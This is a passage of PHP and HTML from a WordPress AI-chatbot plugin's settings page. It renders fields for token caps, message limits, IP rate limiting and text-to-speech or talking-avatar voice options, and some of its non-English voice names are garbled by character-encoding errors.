'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Total Token Cap Per Day For Users (And Restrict Not Logged In Users):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="1" id="user_token_cap_per_day" name="aiomatic_Chatbot_Settings[user_token_cap_per_day]" class="cr_width_full" value="<?php echo esc_html($user_token_cap_per_day);?>" placeholder="User token cap / day"> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum input length for user messages.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Single Message Max Input Length (Characters):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" id="max_input_length" name="aiomatic_Chatbot_Settings[max_input_length]" class="cr_width_full" value="<?php echo esc_html($max_input_length);?>" placeholder="Max input length"> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum chat messages to send as API context. Default is to send as much as possible, to the AI, depending on model accepted token size.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Chat Messages To Send As API Context:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" id="max_message_count" name="aiomatic_Chatbot_Settings[max_message_count]" class="cr_width_full" value="<?php echo esc_html($max_message_count);?>" placeholder="Max context chat message count"> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum chat message context size, in characters, which will be sent to the AI chatbot..", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Chat Context Size (Characters):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" id="max_message_context" name="aiomatic_Chatbot_Settings[max_message_context]" class="cr_width_full" value="<?php echo esc_html($max_message_context);?>" placeholder="Max context chat size"> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to allow empty chat messages or not", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Sending Of Empty Chat Messages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="no_empty" name="aiomatic_Chatbot_Settings[no_empty]"<?php if ($no_empty == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Limits user requests by user IP. Set restriction time and set max requests per restriction time. Set also the restriction time window (in seconds) for the max requests.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Limit User Messages - Max Requests / Time Window:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="1" step="1" id="restriction_count" name="aiomatic_Chatbot_Settings[restriction_count]" class="cr_width_25p" value="<?php echo esc_html($restriction_count);?>" placeholder="<?php echo esc_html__("Set max requests", 'aiomatic-automatic-ai-content-writer');?>"> <?php echo esc_html__("requests", 'aiomatic-automatic-ai-content-writer');?> /  <input type="number" min="1" id="restriction_time" name="aiomatic_Chatbot_Settings[restriction_time]" class="cr_width_25p" value="<?php echo esc_html($restriction_time);?>" placeholder="<?php echo esc_html__("Set restriction time", 'aiomatic-automatic-ai-content-writer');?>"> <?php echo esc_html__("seconds", 'aiomatic-automatic-ai-content-writer');?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a message to be displayed to restricted users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Error Message When User Exceeded The Limit:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input id="restriction_message" name="aiomatic_Chatbot_Settings[restriction_message]" list="restriction_message" type="text" class="coderevolution_gutenberg_input" value="<?php echo esc_attr($restriction_message);?>" placeholder="You exceeded your requests limit."/> </div> </td></tr> </table> </div> <div id="tab-8" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Text-to-Speech/Video Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <?php if ((!isset($aiomatic_Main_Settings['elevenlabs_app_id']) || trim($aiomatic_Main_Settings['elevenlabs_app_id']) == '') && (!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '') && (!isset($aiomatic_Main_Settings['did_app_id']) || trim($aiomatic_Main_Settings['did_app_id']) == '') && (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '')) { echo '<tr><td colspan="2"><h2>' . esc_html__("You need to enter an ElevenLabs.io API key, OpenAI API key, D-ID API key or a Google Text-to-Speech API key in the 'API Keys' tab and save settings, to use this feature.", 'aiomatic-automatic-ai-content-writer') . '</h2></td></tr>'; } else { if (isset($aiomatic_Main_Settings['elevenlabs_app_id']) && trim($aiomatic_Main_Settings['elevenlabs_app_id']) != '') { echo '<tr><td><b>' . esc_html__("Sync ElevenLabs.io Voices:", 'aiomatic-automatic-ai-content-writer') . '</b></td><td><input type="button" onclick="aiomatic_sync_voices_elevenlabs()" id="elevenlabs_sync" value="Sync"></td></tr>'; } if (isset($aiomatic_Main_Settings['google_app_id']) && trim($aiomatic_Main_Settings['google_app_id']) != '') { echo '<tr><td><b>' . esc_html__("Sync Google Text-to-Speech Voices:", 'aiomatic-automatic-ai-content-writer') . '</b></td><td><input type="button" onclick="aiomatic_sync_voices_google()" id="google_sync" value="Sync"></td></tr>'; } ?> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable chatbot text to speech/video.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Text-to-Speech/Video:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="chatbot_text_speech" onchange="aiomatic_text_changed()" name="aiomatic_Chatbot_Settings[chatbot_text_speech]" > <?php echo '<option' . ($chatbot_text_speech == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($chatbot_text_speech == 'free' ? ' selected': '') . ' value="free">Browser Text-to-Speech (Free)</option>'; if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(empty($appids)) { $token = ''; } else { $token = $appids[array_rand($appids)]; } if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { echo '<option' . ($chatbot_text_speech == 'openai' ? ' selected': '') . ' value="openai">OpenAI Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'openai' ? ' selected': '') . ' disabled value="openai">OpenAI Text-to-Speech (' . esc_html__("Currently Only OpenAI API is supported for TTS", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['elevenlabs_app_id']) && trim($aiomatic_Main_Settings['elevenlabs_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'elevenlabs' ? ' selected': '') . ' value="elevenlabs">ElevenLabs.io Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'elevenlabs' ? ' selected': '') . ' disabled value="elevenlabs">ElevenLabs.io Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['google_app_id']) && trim($aiomatic_Main_Settings['google_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'google' ? ' selected': '') . ' value="google">Google Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'google' ? ' selected': '') . ' disabled value="google">Google Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['did_app_id']) && trim($aiomatic_Main_Settings['did_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'did' ? ' selected': '') . ' value="did">D-ID Text-to-Video</option>'; echo '<option' . ($chatbot_text_speech == 'didstream' ? ' selected': '') . ' value="didstream">D-ID Text-to-Video Streaming</option>'; } else { echo '<option' . ($chatbot_text_speech == 'did' ? ' selected': '') . ' disabled value="did">D-ID Text-to-Video (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; echo '<option' . ($chatbot_text_speech == 'didstream' ? ' selected': '') . ' disabled value="didstream">D-ID Text-to-Video Streaming (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } ?> </select> </div> </td></tr> <tr class="hidefree"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the voice which will be used by the chatbot. Please note that the list of voices may differ depending on the browser. For example, voices in the name of which contains Google will be available only in the Chrome browser. For Egde will be available Microsoft voices.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="free_voice" name="aiomatic_Chatbot_Settings[free_voice]"> <option value="Google US English;en-US" <?php if($free_voice == 'Google US English;en-US'){echo ' selected';}?> > Google US English, en-US </option><option value="Trinoids;en-US" <?php if($free_voice == 'Trinoids;en-US'){echo ' selected';}?> > Trinoids, en-US </option><option value="Microsoft David - English (United States);en-US" <?php if($free_voice == 'Microsoft David - English (United States);en-US'){echo ' selected';}?> > Microsoft David - English (United States), en-US </option><option value="Microsoft Mark - English (United States);en-US" <?php if($free_voice == 'Microsoft Mark - English (United States);en-US'){echo ' selected';}?> > Microsoft Mark - English (United States), en-US </option><option value="Microsoft Zira - English (United States);en-US" <?php if($free_voice == 'Microsoft Zira - English (United States);en-US'){echo ' selected';}?> > Microsoft Zira - English (United States), en-US </option><option value="Google Deutsch;de-DE" <?php if($free_voice == 'Google Deutsch;de-DE'){echo ' selected';}?> > Google Deutsch, de-DE </option><option value="Google UK English Female;en-GB" <?php if($free_voice == 'Google UK English Female;en-GB'){echo ' selected';}?> > Google UK English Female, en-GB </option><option value="Google UK English Male;en-GB" <?php if($free_voice == 'Google UK English Male;en-GB'){echo ' selected';}?> > Google UK English Male, en-GB </option><option value="Google español;es-ES" <?php if($free_voice == 'Google español;es-ES'){echo ' selected';}?> > Google español, es-ES </option><option value="Google español de Estados Unidos;es-US" <?php if($free_voice == 'Google español de Estados Unidos;es-US'){echo ' selected';}?> > Google español de Estados Unidos, es-US </option><option value="Google français;fr-FR" <?php if($free_voice == 'Google français;fr-FR'){echo ' selected';}?> > Google français, fr-FR </option><option value="Google हिनà¥à¤¦à¥€;hi-IN" <?php if($free_voice == 'Google हिनà¥à¤¦à¥€;hi-IN'){echo ' selected';}?> > Google हिनà¥à¤¦à¥€, hi-IN </option><option value="Google Bahasa Indonesia;id-ID" <?php if($free_voice == 'Google Bahasa Indonesia;id-ID'){echo ' selected';}?> > Google Bahasa Indonesia, id-ID </option><option value="Google italiano;it-IT" <?php if($free_voice == 'Google italiano;it-IT'){echo ' selected';}?> > Google italiano, it-IT </option><option value="Google 日本語;ja-JP" <?php if($free_voice == 'Google 日本語;ja-JP'){echo ' selected';}?> > Google 日本語, ja-JP </option><option value="Google 한국ì˜;ko-KR" <?php if($free_voice == 'Google 한국ì˜;ko-KR'){echo ' selected';}?> > Google 한국ì˜, ko-KR </option><option value="Google Nederlands;nl-NL" <?php if($free_voice == 'Google Nederlands;nl-NL'){echo ' selected';}?> > Google Nederlands, nl-NL </option><option value="Google polski;pl-PL" <?php if($free_voice == 'Google polski;pl-PL'){echo ' selected';}?> > Google polski, pl-PL </option><option value="Google português do Brasil;pt-BR" <?php if($free_voice == 'Google português do Brasil;pt-BR'){echo ' selected';}?> > Google português do Brasil, pt-BR </option><option value="Google руÑÑкий;ru-RU" <?php if($free_voice == 'Google руÑÑкий;ru-RU'){echo ' selected';}?> > Google руÑÑкий, ru-RU </option><option value="Google 普通è¯ï¼ˆä¸­å›½å¤§é™†ï¼‰;zh-CN" <?php if($free_voice == 'Google 普通è¯ï¼ˆä¸­å›½å¤§é™†ï¼‰;zh-CN'){echo ' selected';}?> > Google æ™®é€šè¯ï¼ˆä¸­å›½å¤§é™†ï¼‰, zh-CN </option><option value="Google 粤語(香港);zh-HK" <?php if($free_voice == 'Google 粤語(香港);zh-HK'){echo ' selected';}?> > Google ç²¤èªžï¼ˆé¦™æ¸¯ï¼‰, zh-HK </option><option value="Google 國語(臺ç£ï¼‰;zh-TW" <?php if($free_voice == 'Google 國語(臺ç£ï¼‰;zh-TW'){echo ' selected';}?> > Google 國語(臺ç£ï¼‰, zh-TW </option></select> </div> </td></tr> <tr class="hidedidstream"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the default width of the talking avatar. The default value for this is 300px.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Talking Avatar Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="1" id="did_width" name="aiomatic_Chatbot_Settings[did_width]" class="cr_width_full" value="<?php echo esc_html($did_width);?>" placeholder="300"> </div> </td></tr> <tr class="hidedidstream"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the default height of the talking avatar. The default value for this is 300px.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Talking Avatar Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="1" id="did_height" name="aiomatic_Chatbot_Settings[did_height]" class="cr_width_full" value="<?php echo esc_html($did_height);?>" placeholder="300"> </div> </td></tr> <tr class="hidedid"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The URL of the source image to be animated by the driver video, or a selection from the list of provided studio actors.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Actor Source Image URL:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input id="did_image" name="aiomatic_Chatbot_Settings[did_image]" list="did_image_list" type="text" list="did_image" class="coderevolution_gutenberg_input" value="<?php echo esc_attr($did_image);?>" placeholder="Actor URL"/> <datalist id="did_image_list"> <option>https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg</option> <option>https://create-images-results.d-id.com/api_docs/assets/amy.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Zivva_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/William_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Sara_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Magen_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Luna_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Joaquin_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Jenna_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Ibrahim_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Hassan_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Gordon_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Fatha_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Fanna_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Eric_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Emma_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Emily_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Bull_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Brandon_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Billy_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Aria_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Amber_f/image.jpeg</option> </datalist> </div> </td></tr> <tr class="hidedid"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a voice you want to use for your video chatbot. You can add voices in the following format: voice_provider:voice_name:voice_config - available voices lists:", 'aiomatic-automatic-ai-content-writer'); echo ' <a href="https://speech.microsoft.com/portal/voicegallery" target="_blank">https://speech.microsoft.com/portal/voicegallery</a> - <a href="https://docs.aws.amazon.com/polly/latest/dg/voicelist.html" target="_blank">https://docs.aws.amazon.com/polly/latest/dg/voicelist.html</a>'; ?> </div> </div> <b><?php echo esc_html__("Select a Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input id="did_voice" name="aiomatic_Chatbot_Settings[did_voice]" type="text" list="did_voice_list" class="coderevolution_gutenberg_input" value="<?php echo esc_attr($did_voice);?>" placeholder="Voice config"/> <datalist id="did_voice_list"> <option>microsoft:en-US-JennyNeural:Neutral</option> <option>microsoft:en-US-JennyNeural:Cheerful</option> <option>microsoft:en-US-JennyNeural:Sad</option> <option>microsoft:en-US-JennyNeural:Assistant</option> <option>microsoft:en-US-JennyNeural:Chat</option> <option>microsoft:en-US-JennyNeural:Newscast</option> <option>microsoft:en-US-JennyNeural:Angry</option> <option>microsoft:en-US-JennyNeural:Excited</option> <option>microsoft:en-US-JennyNeural:Friendly</option> <option>microsoft:en-US-JennyNeural:Terrified</option> <option>microsoft:en-US-JennyNeural:Shouting</option> <option>microsoft:en-US-JennyNeural:Unfriendly</option> <option>microsoft:en-US-JennyNeural:Whispering</option> <option>microsoft:en-US-JennyNeural:Hopeful</option> <option>microsoft:en-US-JennyNeural:Default</option> <option>microsoft:en-US-GuyNeural:Default</option> <option>microsoft:en-US-GuyNeural:Newscast</option> <option>microsoft:en-US-GuyNeural:Angry</option> <option>microsoft:en-US-GuyNeural:Cheerful</option> <option>microsoft:en-US-GuyNeural:Sad</option> <option>microsoft:en-US-GuyNeural:Excited</option> <option>microsoft:en-US-GuyNeural:Friendly</option> <option>microsoft:en-US-GuyNeural:Terrified</option> <option>microsoft:en-US-GuyNeural:Shouting</option> <option>microsoft:en-US-GuyNeural:Unfriendly</option> <option>microsoft:en-US-GuyNeural:Whispering</option> <option>microsoft:en-US-GuyNeural:Hopeful</option> <option>microsoft:en-US-AmberNeural</option> <option>microsoft:en-US-AnaNeural</option> <option>microsoft:en-US-AriaNeural:Default</option> <option>microsoft:en-US-AriaNeural:Chat</option> <option>microsoft:en-US-AriaNeural:Cheerful</option> <option>microsoft:en-US-AriaNeural:Empathetic</option> <option>microsoft:en-US-AriaNeural:Angry</option> <option>microsoft:en-US-AriaNeural:Sad</option> <option>microsoft:en-US-AriaNeural:Excited</option> <option>microsoft:en-US-AriaNeural:Friendly</option> <option>microsoft:en-US-AriaNeural:Terrified</option> <option>microsoft:en-US-AriaNeural:Shouting</option> <option>microsoft:en-US-AriaNeural:Unfriendly</option> <option>microsoft:en-US-AriaNeural:Whispering</option> <option>microsoft:en-US-AriaNeural:Hopeful</option> <option>microsoft:en-US-AshleyNeural</option> <option>microsoft:en-US-BrandonNeural</option> <option>microsoft:en-US-ChristopherNeural</option> <option>microsoft:en-US-CoraNeural</option> <option>microsoft:en-US-DavisNeural:Default</option> <option>microsoft:en-US-DavisNeural:Chat</option> <option>microsoft:en-US-DavisNeural:Angry</option> <option>microsoft:en-US-DavisNeural:Cheerful</option> <option>microsoft:en-US-DavisNeural:Excited</option> <option>microsoft:en-US-DavisNeural:Friendly</option> <option>microsoft:en-US-DavisNeural:Hopeful</option> <option>microsoft:en-US-DavisNeural:Sad</option> <option>microsoft:en-US-DavisNeural:Shouting</option> <option>microsoft:en-US-DavisNeural:Terrified</option> <option>microsoft:en-US-DavisNeural:Unfriendly</option> <option>microsoft:en-US-DavisNeural:Whispering</option> <option>microsoft:en-US-ElizabethNeural</option> <option>microsoft:en-US-EricNeural</option> <option>microsoft:en-US-JacobNeural</option> <option>microsoft:en-US-JaneNeural:Default</option> <option>microsoft:en-US-JaneNeural:Cheerful</option> <option>microsoft:en-US-JaneNeural:Angry</option> <option>microsoft:en-US-JaneNeural:Excited</option> <option>microsoft:en-US-JaneNeural:Friendly</option> <option>microsoft:en-US-JaneNeural:Hopeful</option> <option>microsoft:en-US-JaneNeural:Sad</option> <option>microsoft:en-US-JaneNeural:Shouting</option> <option>microsoft:en-US-JaneNeural:Terrified</option> <option>microsoft:en-US-JaneNeural:Unfriendly</option> <option>microsoft:en-US-JaneNeural:Whispering</option> <option>microsoft:en-US-JaneNeural:Default</option> <option>microsoft:en-US-JasonNeural:Default</option> <option>microsoft:en-US-JasonNeural:Angry</option> <option>microsoft:en-US-JasonNeural:Cheerful</option> <option>microsoft:en-US-JasonNeural:Excited</option> <option>microsoft:en-US-JasonNeural:Friendly</option> <option>microsoft:en-US-JasonNeural:Hopeful</option> <option>microsoft:en-US-JasonNeural:Sad</option> <option>microsoft:en-US-JasonNeural:Shouting</option> <option>microsoft:en-US-JasonNeural:Terrified</option> <option>microsoft:en-US-JasonNeural:Unfriendly</option> <option>microsoft:en-US-JasonNeural:Whispering</option> <option>microsoft:en-US-MichelleNeural</option> <option>microsoft:en-US-MonicaNeural</option> <option>microsoft:en-US-NancyNeural:Default</option> <option>microsoft:en-US-NancyNeural:Angry</option> <option>microsoft:en-US-NancyNeural:Cheerful</option> <option>microsoft:en-US-NancyNeural:Excited</option> <option>microsoft:en-US-NancyNeural:Friendly</option> <option>microsoft:en-US-NancyNeural:Hopeful</option> <option>microsoft:en-US-NancyNeural:Sad</option> <option>microsoft:en-US-NancyNeural:Shouting</option> <option>microsoft:en-US-NancyNeural:Terrified</option> <option>microsoft:en-US-NancyNeural:Unfriendly</option> <option>microsoft:en-US-NancyNeural:Whispering</option> <option>microsoft:en-US-RogerNeural</option> <option>microsoft:en-US-SaraNeural:Default</option> <option>microsoft:en-US-SaraNeural:Angry</option> <option>microsoft:en-US-SaraNeural:Cheerful</option> <option>microsoft:en-US-SaraNeural:Excited</option> <option>microsoft:en-US-SaraNeural:Friendly</option> <option>microsoft:en-US-SaraNeural:Hopeful</option> <option>microsoft:en-US-SaraNeural:Sad</option> <option>microsoft:en-US-SaraNeural:Shouting</option> <option>microsoft:en-US-SaraNeural:Terrified</option> <option>microsoft:en-US-SaraNeural:Unfriendly</option> <option>microsoft:en-US-SaraNeural:Whispering</option> <option>microsoft:en-US-SteffanNeural</option> <option>microsoft:en-US-TonyNeural:Default</option> <option>microsoft:en-US-TonyNeural:Angry</option> <option>microsoft:en-US-TonyNeural:Cheerful</option> <option>microsoft:en-US-TonyNeural:Excited</option> <option>microsoft:en-US-TonyNeural:Friendly</option> <option>microsoft:en-US-TonyNeural:Hopeful</option> <option>microsoft:en-US-TonyNeural:Sad</option> <option>microsoft:en-US-TonyNeural:Shouting</option> <option>microsoft:en-US-TonyNeural:Terrified</option> <option>microsoft:en-US-TonyNeural:Unfriendly</option> <option>microsoft:en-US-TonyNeural:Whispering</option> <option>microsoft:en-US-AIGenerate1Neural</option> <option>microsoft:en-US-AIGenerate2Neural</option> <option>amazon:Amy</option> <option>amazon:Emma</option> <option>amazon:Brian</option> <option>amazon:Arthur</option> <option>amazon:Nicole</option> <option>amazon:Olivia</option> <option>amazon:Russell</option> <option>amazon:Ivy</option> <option>amazon:Joanna</option> <option>amazon:Kendra</option> <option>amazon:Kimberly</option> <option>amazon:Salli</option> <option>amazon:Joey</option> <option>amazon:Justin</option> <option>amazon:Kevin</option> <option>amazon:Matthew</option> <option>amazon:Ruth</option> <option>amazon:Stephen</option> <option>amazon:Geraint</option> <option>amazon:Ayanda</option> <option>amazon:Aria</option> <option>amazon:Aditi</option> <option>amazon:Raveena</option> <option>amazon:Kajal</option> <option>amazon:Zeina</option> <option>amazon:Hala</option> <option>amazon:Arlet</option> <option>amazon:Hiujin</option> <option>amazon:Zhiyu</option> <option>amazon:Naja</option> <option>amazon:Mads</option> <option>amazon:Laura</option> <option>amazon:Lotte</option> <option>amazon:Ruben</option> <option>amazon:Suvi</option> <option>amazon:Celine</option> <option>amazon:L??a</option> <option>amazon:Mathieu</option> <option>amazon:R??mi</option> <option>amazon:Chantal</option> <option>amazon:Gabrielle</option> <option>amazon:Liam</option> <option>amazon:Marlene</option> <option>amazon:Vicki</option> <option>amazon:Hans</option> <option>amazon:Daniel</option> <option>amazon:Hannah</option> <option>amazon:Dora</option> <option>amazon:Karl</option> <option>amazon:Carla</option> <option>amazon:Bianca</option> <option>amazon:Giorgio</option> <option>amazon:Adriano</option> <option>amazon:Mizuki</option> <option>amazon:Takumi</option> <option>amazon:Kazuha</option> <option>amazon:Tomoko</option> <option>amazon:Seoyeon</option> <option>amazon:Liv</option> <option>amazon:Ida</option> <option>amazon:Ewa</option> <option>amazon:Maja</option> <option>amazon:Jacek</option> <option>amazon:Jan</option> <option>amazon:Ola</option> <option>amazon:Camila</option> <option>amazon:Vitoria</option> <option>amazon:Ricardo</option> <option>amazon:Thiago</option> <option>amazon:Ines</option> <option>amazon:Cristiano</option> <option>amazon:Carmen</option> <option>amazon:Tatyana</option> <option>amazon:Maxim</option> <option>amazon:Conchita</option> <option>amazon:Lucia</option> <option>amazon:Enrique</option> <option>amazon:Sergio</option> <option>amazon:Mia</option> <option>amazon:Andr??s</option> <option>amazon:Lupe</option> <option>amazon:Penelope</option> <option>amazon:Miguel</option> <option>amazon:Pedro</option> <option>amazon:Astrid</option> <option>amazon:Elin</option> <option>amazon:Filiz</option> <option>amazon:Gwyneth</option> <option>afflorithmics:en-US-JennyNeural</option> <option>elevenlabs:en-US-JennyNeural</option> </datalist> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a voice you want to use for your chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Select a Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="eleven_voice" name="aiomatic_Chatbot_Settings[eleven_voice]" > <?php $eleven_voices = aiomatic_get_eleven_voices(); if($eleven_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { foreach($eleven_voices as $key => $voice) { echo '<option' . ($eleven_voice == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($voice).'</option>'; } } ?> </select> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a custom voice ID, if you want to use a custom voice ID from ElevenLabs. This will overwrite the voice ID added from above.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Voice ID:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="width" name="aiomatic_Chatbot_Settings[eleven_voice_custom]" value="<?php echo esc_html($eleven_voice_custom);?>" placeholder="Custom voice ID"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model to be used when generating the voices.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice AI Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="eleven_model_id" name="aiomatic_Chatbot_Settings[eleven_model_id]" > <?php echo '<option' . ($eleven_model_id == 'eleven_monolingual_v1' ? ' selected': '') . ' value="eleven_monolingual_v1">eleven_monolingual_v1</option>'; echo '<option' . ($eleven_model_id == 'eleven_multilingual_v1' ? ' selected': '') . ' value="eleven_multilingual_v1">eleven_multilingual_v1</option>'; echo '<option' . ($eleven_model_id == 'eleven_multilingual_v2' ? ' selected': '') . ' value="eleven_multilingual_v2">eleven_multilingual_v2</option>'; ?> </select> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice stability of the chosen voice. Higher stability ensures consistency but may result in monotony, therefore for longer text, it is recommended to decrease stability. The default value is 0.75", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Stability:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_stability" name="aiomatic_Chatbot_Settings[voice_stability]" class="cr_width_full" value="<?php echo esc_html($voice_stability);?>" 